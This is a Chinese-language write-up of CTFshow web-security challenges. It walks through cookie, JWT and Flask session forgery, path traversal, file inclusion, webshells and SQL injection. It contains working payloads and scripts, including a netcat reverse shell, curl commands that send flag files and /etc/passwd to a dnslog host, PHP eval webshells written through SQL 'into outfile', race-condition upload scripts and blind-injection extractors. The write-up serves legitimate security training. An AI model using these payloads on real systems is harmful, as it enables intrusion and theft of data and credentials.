目录

CTFshow web应用安全与防护

# 第一章

# Base64编码隐藏

登录密码在html源码里写死,base64解码

# HTTP头注入

使用源码里的密码登录,提示需要使用指定的ua头

3

# Base64多层嵌套解码

前端验证逻辑

document.getElementById('loginForm').addEventListener('submit', function(e) {
            const correctPassword = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU=";
            
            function validatePassword(input) {
                let encoded = btoa(input);
                encoded = btoa(encoded + 'xH7jK').slice(3);
                encoded = btoa(encoded.split('').reverse().join(''));
                encoded = btoa('aB3' + encoded + 'qW9').substr(2);
                return btoa(encoded) === correctPassword;
            }

            const enteredPassword = document.getElementById('password').value;
            const messageElement = document.getElementById('message');
            
            if (!validatePassword(enteredPassword)) {
                e.preventDefault();
                messageElement.textContent = "Login failed! Incorrect password.";
                messageElement.className = "message error";
            }
        });
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

加密逻辑:

btoa(input)→ Base64 编码原始密码。

btoa(encoded + 'xH7jK').slice(3)→ 拼接固定字符串,再编码并截取。

btoa(反转字符串)→ 反转并 Base64 编码。

btoa('aB3' + encoded + 'qW9').substr(2)→ 拼接固定头尾,再编码并截取。

btoa(encoded) === correctPassword→再base64, 最终比对。

逆向解密:

  • base64解码

  • 解码后的字符串前面爆破两个字符串,再尝试base64解码,要得到aB3+encoded+qW9的格式

  • 再次base64解码,反转

  • 尝试开头爆破3个字符串,base64解码得到以xH7jk结尾的一次base64编码内容

  • base64解码,得到最终用户应该输入的密码

    import base64
    import itertools
    import string
    import requests
    
    # 加密函数
    def encrypt(password):
        s = base64.b64encode(password.encode()).decode()
        s = base64.b64encode((s + 'xH7jK').encode()).decode()[3:]
        s = base64.b64encode(s[::-1].encode()).decode()
        s = base64.b64encode(f'aB3{s}qW9'.encode()).decode()[2:]
        return base64.b64encode(s.encode()).decode()
    
    
    # 爆破前缀函数
    def brute_prefix(target_b64, start_marker='', end_marker='', prefix_len=2, charset=None):
        charset = charset or string.ascii_letters + string.digits
        for prefix in itertools.product(charset, repeat=prefix_len):
            candidate = ''.join(prefix) + target_b64
            try:
                decoded = base64.b64decode(candidate).decode('utf-8', errors='ignore')
                if decoded.startswith(start_marker) and decoded.endswith(end_marker):
                    return ''.join(prefix), decoded
            except Exception:
                continue
        return None, None
    
    
    # 初始 Base64 字符串
    fuck_str = "SXpVRlF4TTFVelJtdFNSazB3VTJ4U1UwNXFSWGRVVlZrOWNWYzU="
    re_step5 = base64.b64decode(fuck_str.encode())
    
    # Step 1: 爆破前缀找到 aB3 ... qW9
    prefix1, step3 = brute_prefix(re_step5.decode(), start_marker='aB3', end_marker='qW9', prefix_len=2)
    if not step3:
        print("❌ 未找到匹配前缀1")
        exit()
    
    step3_inner = step3[3:-3]
    step2 = base64.b64decode(step3_inner).decode()[::-1]
    
    
    # Step 2: 爆破前缀找到最终密码
    chars_plus = string.ascii_letters + string.digits + '+'
    final_password = None
    for prefix2 in itertools.product(chars_plus, repeat=3):
        prefix_str2 = ''.join(prefix2)
        candidate = prefix_str2 + step2
        try:
            decoded = base64.b64decode(candidate).decode('utf-8', errors='ignore')
            if decoded.endswith('xH7jK'):
                temp_pass = base64.b64decode(decoded[:-5]).decode()
                if encrypt(temp_pass) == fuck_str:
                    final_password = temp_pass
                    print(f"✅ 找到密码: {final_password}")
                    break
        except Exception:
            continue
    
    if not final_password:
        print("❌ 未找到最终密码")
        exit()
    
    
    # Step 3: 使用 requests 验证密码
    url = "http://2f7feaf3-cd7e-42a1-9663-9015fbf403c2.challenge.ctf.show/check.php"
    headers = {"User-Agent": "ctf-show-brower"}
    data = {"username": "admin", "password": final_password}
    
    resp = requests.post(url, headers=headers, data=data)
    if "Login failed! Incorrect password." not in resp.text:
        print(f"✅ 密码验证成功!正确密码: {final_password}")
        # print(resp.text)
    else:
        print("❌ 密码验证失败")
    
    
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76

# HTTPS中间人攻击

下载附件解压,一个ssllog.txt,一个流量包

wireshark打开流量包看不到内容,https流量加密了,需要使用ssllog.txt这个附件密钥解密

具体操作参考文章[Wireshark抓包工具解析HTTPS包 (opens new window)](https://www.cnblogs.com/CodeReaper/p/16007397.html)

编辑》首选项》protocols》tls

导入密钥后可以看到http明文流量了

# Cookie伪造

弱密码guest/guest成功登录

在cookie里有role=guest的值,修改为admin,拿到flag

9

# 第二章

# 一句话木马变形

测试发现不能含有空格,引号,一般🐎子g了,好像只能函数无参rce

POST:code=eval(array_pop(next(get_defined_vars())));&1=phpinfo();

# 反弹shell构造

无回显命令执行

公网服务器监听

nc -lvnp 4444
1

靶机反弹shell

nc -e /bin/sh 公网服务器ip 4444
1

14

没有公网服务器,可以试试dnslog、weblog,直接外带

平台推荐【dnslog/weblog】 (opens new window),参考往期文章【使用weblog平台接收无回报RCE命令执行结果】 (opens new window)

code=curl 219tzymz.eyes.sh -X POST -d "1=`cat f*;cat /f*`"
1

或者写webshell

code=echo "<?php highlight_file(__FILE__);eval($_GET[1]);?>" > 1.php
1

13

# 管道符绕过过滤

这里题目环境类似下面,考察linux shell环境怎么一句话执行多个命令

<?php
    $cmd = $_GET['code'];
    system("ls $cmd");
1
2
3

可以使用;||&&等管道符来分割多条命令,这样一句话就可以执行多条命令

; (顺序执行,不管对错)

|| (逻辑或,前一个失败才执行后一个)

&& (逻辑与,前一个成功才执行后一个)

好,知道了上面3点,看看下面命令如何执行

ls;whoami
ls||whoami
ls&&whoami
1
2
3

1,3成功执行两条命令,2命令只执行了ls

提示

为什么payload使用&&whoami也只执行了ls命令?,&在传参过程有特殊语义,需要url编码一下

那么查看flag

ls;tac f*
1

# 无字母数字代码执行

随便输入点什么,后端报错,使用的eval来执行字符

16

用ai简单写了一个纯前端payload生成页面无字母数字代码执行payload生成 (opens new window),实现细节参考PHP无字母数字RCE 或、异或、取反实现 (opens new window)

几种方式实现的payload

# payload:assert("eval($_POST[1]);");
# 取反
(~%9E%8C%8C%9A%8D%8B)(~%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%CE%A2%D6%C4);
# 异或
(('%bf'^'%de').('%bf'^'%cc').('%bf'^'%cc').('%bf'^'%da').('%bf'^'%cd').('%bf'^'%cb'))(('%bf'^'%da').('%bf'^'%c9').('%bf'^'%de').('%bf'^'%d3').('%df'^'%f7').('%df'^'%fb').('%bf'^'%e0').('%bf'^'%ef').('%bf'^'%f0').('%bf'^'%ec').('%bf'^'%eb').('%bf'^'%e4').('%df'^'%ee').('%bf'^'%e2').('%df'^'%f6').('%df'^'%e4'));
# 或
(('%61'|'%61').('%73'|'%73').('%73'|'%73').('%65'|'%65').('%72'|'%72').('%74'|'%74'))(('%65'|'%65').('%76'|'%76').('%61'|'%61').('%6c'|'%6c').('%28'|'%28').('%24'|'%24').('%5f'|'%5f').('%50'|'%50').('%4f'|'%4f').('%53'|'%53').('%54'|'%54').('%5b'|'%5b').('%31'|'%31').('%5d'|'%5d').('%29'|'%29'));
1
2
3
4
5
6
7

生成的payload要使用burp发送

# 无字母数字命令执行

这道题是命令执行,无字母、数字,无回显,尝试外带或者反弹shell,在上传写入webshell时,文件是空的比较奇怪

使用了linux下 . file执行文件内容的特性

由于不确定seesion文件路径

import requests
import threading
import time
import signal
import sys

# 靶机链接
url = 'http://a9dbdc84-611d-455a-9f9e-c7b8dc599cdf.challenge.ctf.show/'
shell_url = url + "44.txt"
sessionid = 'cnmusa'

data = {
    'PHP_SESSION_UPLOAD_PROGRESS': 'ls > 44.txt;curl -X POST http://219tzymz.eyes.sh -d "1=`cat /etc/passwd;cat /var/www/html/*;cat /f*`"',
}

file = {
    'file': sessionid
}

cookies = {
    'PHPSESSID': sessionid
}

# 常见 session 文件路径列表
# session_paths = [
#     f"/var/lib/php/sess_{sessionid}",
#     f"/var/lib/php/sessions/sess_{sessionid}",
#     f"/tmp/sess_{sessionid}",
#     f"/tmp/sessions/sess_{sessionid}"
# ]
str_len = len(sessionid)
payload = "?"*str_len
session_paths = [
    f". /???/???/???/????_{payload}",
    f". /???/???/???/????????/????_{payload}",
    f". /???/????_{payload}",
    f". /???/????????/????_{payload}"
]

# 全局停止事件
stop_event = threading.Event()

def upload_file():
    while not stop_event.is_set():
        try:
            requests.post(url, data=data, files=file, cookies=cookies, timeout=3)
        except requests.RequestException:
            pass
        # time.sleep(1)

def check_file():
    while not stop_event.is_set():
        try:
            # 尝试所有常见 session 文件路径
            for path in session_paths:
                print(f"Trying path: {path}")
                requests.post(url, data={"code": path}, timeout=3)

            r = requests.get(shell_url, timeout=3)
            if r.status_code == 200:
                print('Webshell created successfully')
                print(r.text)
                stop_event.set()  # 文件创建成功,通知所有线程退出
                break
            else:
                print(f"{r.status_code}")
        except requests.RequestException:
            pass
        # time.sleep(1)

# Ctrl+C 捕获处理
def signal_handler(sig, frame):
    print("\nCtrl+C 捕获,正在退出...")
    stop_event.set()
    sys.exit(0)

signal.signal(signal.SIGINT, signal_handler)

# 启动线程
threads = []
for _ in range(5):
    t = threading.Thread(target=upload_file, daemon=True)
    t.start()
    threads.append(t)

for _ in range(15):
    t = threading.Thread(target=check_file, daemon=True)
    t.start()
    threads.append(t)

# 主线程等待事件
try:
    while not stop_event.is_set():
        time.sleep(0.5)
except KeyboardInterrupt:
    stop_event.set()

for t in threads:
    t.join()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99

# 第三章

# 日志文件包含

nginx访问日志路径:/var/log/nginx/access.log

包含nginx日志,控制ua头内容,放入php代码。执行命令,日志文件内容太多了,把flag写到新文件里查看

18

# php://filter读取源码

伪协议读取index.php源码

file=php://filter/convert.base64-encode/resource=index.php
1

base64解码,发现可疑文件db.php,再用伪协议读取db.php

20

base64解码db.php内容,拿到flag

21

# 远程文件包含(RFI)

包含远程服务器上的webshell文本内容

在博客上放了一个txt文件,方便直接文件包含

<?php highlight_file(__FILE__);eval($_GET[1]);?>
1

22

# 路径遍历突破

path=index.php读取index.php源码

  • 禁止日志、各种协议:/
  • 禁止/,../开头
  • flag在/flag.txt
<?php

if (isset($_GET['path']) && $_GET['path'] !== '') {
$path = $_GET['path'];
if(preg_match('/data|log|access|pear|tmp|zlib|filter|:/', $path) ){
echo '<span style="color:#f00;">禁止访问敏感目录或文件</span>';
exit;
}

#禁止以/或者../开头的文件名
if(preg_match('/^(\.|\/)/', $path)){
echo '<span style="color:#f00;">禁止以/或者../开头的文件名</span>';
exit;
}

echo $path."内容为:\n";
echo str_replace("\n", "<br>", htmlspecialchars(file_get_contents($path)));
} else {
echo '<span style="color:#888;">目标flag文件为/flag.txt</span>';
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

这里要用的路径穿越,如果使用想要回到/目录,可以使用../../../一步步往上走,但是这里禁止/或者../开头,所以可以尝试在前面添加一个不存在的路径,在寻找文件时,会自动忽略不存在的目录,继续后面的目录穿越操作,最后回到根目录

aaa/../../../../../../../../flag.txt
1

24

# 临时文件包含

脚本梭哈

import io
import requests
import threading
# 如果题目链接是https,换成http
# url = 'https://85a94ccd-c8d7-40ac-ae8f-38ce8f7febb6.challenge.ctf.show/'
url = 'http://0253528e-43f1-427b-b1f1-81fc84692b2d.challenge.ctf.show/'
sessionid = 'ctfshow'

def write(session): # 写入临时文件
    while True:
        fileBytes = io.BytesIO(b'a'*1024*50) # 50kb
        session.post(url,
        cookies = {'PHPSESSID':sessionid},
        data = {'PHP_SESSION_UPLOAD_PROGRESS':'<?php file_put_contents("shell.php","<?php highlight_file(__FILE__);eval(\$_GET[1]);?>");?>'},
        files={'file':('1.jpg',fileBytes)}
        )

def read(session):
    while True:
        session.get(url + '?path=/tmp/sess_' + sessionid) # 进行文件包含
        r = session.get(url+'shell.php') # 检查是否写入一句话木马
        if r.status_code == 200:
            print('OK')
            return ''

evnet=threading.Event() # 多线程

session = requests.session()
for i in range(5):
    threading.Thread(target = write,args = (session,)).start()
for i in range(5):
    threading.Thread(target = read,args = (session,)).start()

evnet.set()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34

34

# 第四章

# Session固定攻击

没看懂,登录发送信息就有flag了

25

# JWT令牌伪造

拿自己的jwt令牌解析一下

{
  "alg": "HS256",
  "typ": "JWT"
}
{
  "user": "admin",
  "admin": false
}
1
2
3
4
5
6
7
8

使用脚本把加密算法伪造为none

伪造脚本

import base64
import json

def b64url_encode(data: bytes) -> str:
    """Base64 URL-safe 编码,去掉填充 ="""
    return base64.urlsafe_b64encode(data).decode().rstrip("=")

# Header: alg=none
header = {"alg": "none", "typ": "JWT"}
payload = {"user": 'admin', "admin": "false"}  # 你要伪造的用户数据

# 分别编码
header_b64 = b64url_encode(json.dumps(header).encode())
payload_b64 = b64url_encode(json.dumps(payload).encode())

# 拼接 JWT,签名为空
jwt = f"{header_b64}.{payload_b64}."

print("伪造的 JWT:")
print(jwt)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

# Flask_Session伪造

点击爬取百度,直接加载了一个百度首页,看到url比较可疑

尝试直接读取/etc/passwd,无果

目录穿越../../../../../../../../../../../../etc/passwd,无果

尝试file:///etc/passwd协议,成功

27

flask工作目录比较常见的是/app/app.py,尝试读取源码

28

源码

# encoding:utf-8
import re
import random
import uuid
import urllib.request
from flask import Flask, session, request

app = Flask(__name__)

# 随机生成一个 SECRET_KEY
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random() * 100)
print(app.config['SECRET_KEY'])

app.debug = False


@app.route('/')
def index():
    session['username'] = 'guest'
    return 'CTFshow 网页爬虫系统 读取网页'


@app.route('/read')
def read():
    try:
        url = request.args.get('url')
        if re.findall('flag', url, re.IGNORECASE):
            return '禁止访问'
        res = urllib.request.urlopen(url)
        return res.read().decode('utf-8', errors='ignore')
    except Exception as ex:
        print(str(ex))
        return '无读取内容可以展示'


@app.route('/flag')
def flag():
    if session.get('username') == 'admin':
        return open('/flag.txt', encoding='utf-8').read()
    else:
        return '访问受限'


if __name__ == '__main__':
    app.run(debug=False, host="0.0.0.0")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

阅读源码可以知道,不允许url里出现flag,出现会鉴权,所以需要伪造admin session

提示

Python random.random() 是确定性的,种子相同,输出完全相同,只要读取到机器MAC地址,就可以精准计算出密钥

读取机器码

read?url=file:///sys/class/net/eth0/address
1

拿到机器码02:42:ac:0c:fc:3d

计算密钥SECRET_KEY

import random

mac = int("02:42:ac:0c:fc:3d".replace(":",""),16) # 已知的 MAC 地址
random.seed(mac)
key = str(random.random()*100)
print(key) # 79.43065193591464
1
2
3
4
5
6

使用【flask-session-cookie-manager】 (opens new window)来伪造seesion

python3 .\flask_session_cookie_manager3.py decode -s "79.43065193591464"  -c "eyJ1c2VybmFtZSI6Imd1ZXN0In0.aLg2YA.Bq9NjyH26PAyzl3YjpBKIIgHOVQ"

python3 .\flask_session_cookie_manager3.py encode -s "79.43065193591464" -t "{'username':'admin'}"
1
2
3

更换session访问/flag拿到flag

# 弱口令爆破

下载题目提供的字典,导入burp intrude模块爆破密码,尝试admin用户

31

32

admin/834100

# 第五章

# 联合查询注入

sqlmap秒了

python3 sqlmap.py -u "https://5339d65e-55dc-434a-86b7-073e1c9f2d2d.challenge.ctf.show/?id=4" -p id --dbs --batch

available databases [5]:
[*] ctfshow_page_informations
[*] information_schema
[*] mysql
[*] performance_schema
[*] test

python3 sqlmap.py -u "https://5339d65e-55dc-434a-86b7-073e1c9f2d2d.challenge.ctf.show/?id=4" -p id --dbs --batch -D --tables

Database: ctfshow_page_informations
[2 tables]
+-------+
| pages |
| users |
+-------+
python3 sqlmap.py -u "https://5339d65e-55dc-434a-86b7-073e1c9f2d2d.challenge.ctf.show/?id=4" -p id --dbs --batch -D ctfshow_page_informations --tables -T users --dump

Database: ctfshow_page_informations
Table: users
[1 entry]
+----+----------------------------+----------+
| id | password                   | username |
+----+----------------------------+----------+
| 1  | CTF{admin_secret_password} | admin    |
+----+----------------------------+----------+
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

# 布尔盲注爆破

username,password都存在sql注入

尝试联合查询写入webshell

虽然页面报错了,但是成功写入到文件里了

写入webshell

password=1' union select 1,2,'<?php eval($_POST[1]);?>' into outfile'/var/www/html/1.txt'%23&username=1
1

蚁剑连接,找到数据库配置内容

39

蚁剑连接数据库,查看flag

40

# 堆叠注入写shell

burp抓包对参数进行fuzz

42

在 username 值为\时,页面响应长度出现不同。说明可能转义了 登录查询语句包裹 username 的引号,导致语法错误

可以猜测常见登录语句

<?php
$sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
1
2

转义后,$username的单引号会匹配到 $password的单引号,最后多出一个单引号,$password整个值可控,password前已经有了单引号,再使用单引号闭合会语法错误,所以 password位置不需要闭合了,把后面单引号注释掉就可以了

username=\&password=or 1=1#
1

出现welcome,登录成功的逻辑,说明存在sql注入

有不同回显,可以用来布尔盲注

43

可以成功执行sleep函数,存在堆叠注入、时间盲注

username=\&password=or 1=1;select sleep(5)#
1

现在有三种方式注入

  • 布尔盲注
  • 时间盲注
  • 堆叠注入

那还是布尔盲注快一点,写个脚本,写脚本过程,发现题目过滤了'单引号,把单引号置空了,双引号还能用

# 写马子

双引号还能用?直接写马子

username=\&password=or 1=1;select "<?php highlight_file(__FILE__);eval(\$_POST[1]);?>" into outfile "/var/www/html/1.php"#
1

# 布尔盲注

布尔盲注发现数据库里是fake flag

import requests

url = "http://5225f93f-e444-49d0-9bbb-fac89d89c23c.challenge.ctf.show/login.php"
flag = ""

i = 0
while True:
    i += 1
    low, high = 32, 126
    while low < high:
        mid = (low + high + 1) // 2
        # payload = f"or if(ascii(substr((select user()),{i},1))<{mid},1,0)#"
        
        # 爆库
        # information_schema,test,mysql,performance_schema,ctfshow_page_informations
        # payload = f"or if(ascii(substr((select group_concat(schema_name) from information_schema.schemata),{i},1))<{mid},1,0)#"
        # 爆表
        # pages,users
        # payload = f"or if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{i},1))<{mid},1,0)#"
        # 爆列
        # USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password
        # payload = f"or if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=\"users\"),{i},1))<{mid},1,0)#"
        # 爆users 表 password
        # CTF{this_is_a_fake_flag}
        # payload = f"or if(ascii(substr((select concat(password) from users),{i},1))<{mid},1,0)#"
        data = {"username": "\\", "password": payload}
        r = requests.post(url, data=data)
        # print(f"[+]payload: {payload}")
        if "Welcome" in r.text:
            high = mid - 1
        else:
            low = mid

    if low <= 32 or low >= 126:
        break

    flag += chr(low)
    print(f"[+]flag: {flag}")

print(f"[+]flag: {flag}")
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

其实整个过程开始以为单双引号都过滤了,所以用的其他方式,并且读到了源码,读美了

  • 布尔盲注 + load_file 读取文件
  • hex编码、char函数写入webshell

布尔盲注读取文件,属于运气好,猜到flag.txt文件名了,换个难猜的就必须写🐎了

44

使用concathex函数读取文件

import requests

url = "http://5225f93f-e444-49d0-9bbb-fac89d89c23c.challenge.ctf.show/login.php"

flag = ""
i = 1

# 文件路径转十六进制
def str2hex(s):
    return "0x" + s.encode("utf-8").hex()

file_path = str2hex("/etc/passwd")
# file_path = str2hex("/var/www/html/login.php")
# file_path = str2hex("/flag.txt")
print("[#] LOAD_FILE 路径:", file_path)

def visual_char(c):
    """把特殊字符可视化"""
    if c == "\n":
        return "\\n"
    elif c == "\r":
        return "\\r"
    elif c == "\t":
        return "\\t"
    elif ord(c) < 32 or ord(c) > 126:
        return f"\\x{ord(c):02x}"
    else:
        return c

while True:
    low, high = 10, 127  # ASCII 可打印和特殊字符范围

    while low + 1 < high:
        mid = (low + high) // 2
        payload = f"or IF(ASCII(SUBSTR(LOAD_FILE({file_path}),{i},1))<{mid},1,0)#"
        data = {"username": "\\", "password": payload}
        r = requests.post(url, data=data)

        if "Welcome" in r.text:
            # 条件成立 → 字符 < mid
            high = mid
        else:
            # 条件不成立 → 字符 >= mid
            low = mid

    # 文件结束检测:LOAD_FILE 返回 NULL 或不可读
    if low <= 0:
        print("[#] 文件读取结束")
        break

    c = chr(low)
    flag += c
    print(f"[+] 当前 flag: {''.join([visual_char(ch) for ch in flag])}")

    i += 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55

可以读取到/var/www/html/login.php源码

<?php
error_reporting(0);

include_once("conn.php");

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';

    // 去掉单引号防止 SQL 注入尝试(不安全方式)
    $username = str_replace("'", "", $username);
    $password = str_replace("'", "", $password);

    // SQL 查询
    $sql = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";

    if ($conn->multi_query($sql)) {
        do {
            if ($result = $conn->store_result()) {
                if ($result->num_rows > 0) {
                    session_start();
                    $_SESSION['username'] = $username;
                    header("Location: main.php");
                    exit();
                }
                $result->free();
            }
        } while ($conn->more_results() && $conn->next_result());
    } else {
        echo "<script>alert('Invalid username or password');history.back();</script>";
    }
} else {
    header("Location: index.php");
    exit();
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

使用concatchar函数读取文件

import requests

url = "http://5225f93f-e444-49d0-9bbb-fac89d89c23c.challenge.ctf.show/login.php"

target = ""
i = 1

# 使用 char 函数绕过引号 读取文件路径
file_path = "/etc/passwd"
# file_path = "/var/www/html/login.php"
# file_path = "/flag.txt"
char_codes = [str(ord(c)) for c in file_path]
path = "CONCAT(CHAR({}))".format(",".join(char_codes))
print("[#] LOAD_FILE 路径:", path)

def visual_char(c):
    """把特殊字符可视化"""
    if c == "\n":
        return "\\n"
    elif c == "\r":
        return "\\r"
    elif c == "\t":
        return "\\t"
    elif ord(c) < 32 or ord(c) > 126:
        return f"\\x{ord(c):02x}"
    else:
        return c

while True:
    low, high = 10, 126  # 支持换行 (\n) 到可见 ASCII

    while low + 1 < high:
        mid = (low + high) // 2
        payload = f"OR IF(ASCII(SUBSTR(LOAD_FILE({path}),{i},1))<{mid},1,0)#"
        data = {"username": "\\", "password": payload}

        r = requests.post(url, data=data)

        if "Welcome" in r.text:
            high = mid
        else:
            low = mid

    # 判断文件结束
    if low <= 0:
        print("[#] 文件读取结束")
        break

    c = chr(low)
    target += visual_char(c)
    print(f"[+] 当前结果: {target}")

    i += 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

# WAF绕过

不知道过滤了什么,直接写webshell,仍然可行

password=1&username=1'%09union%09select%091,2,'<?=phpinfo();?>'%09into%09outfile'/var/www/html/1.php'%23
1

写入webshell,蚁剑查看数据库配置,连接数据库,查看flag

最后一次更新于: 2025/09/08, 20:31:13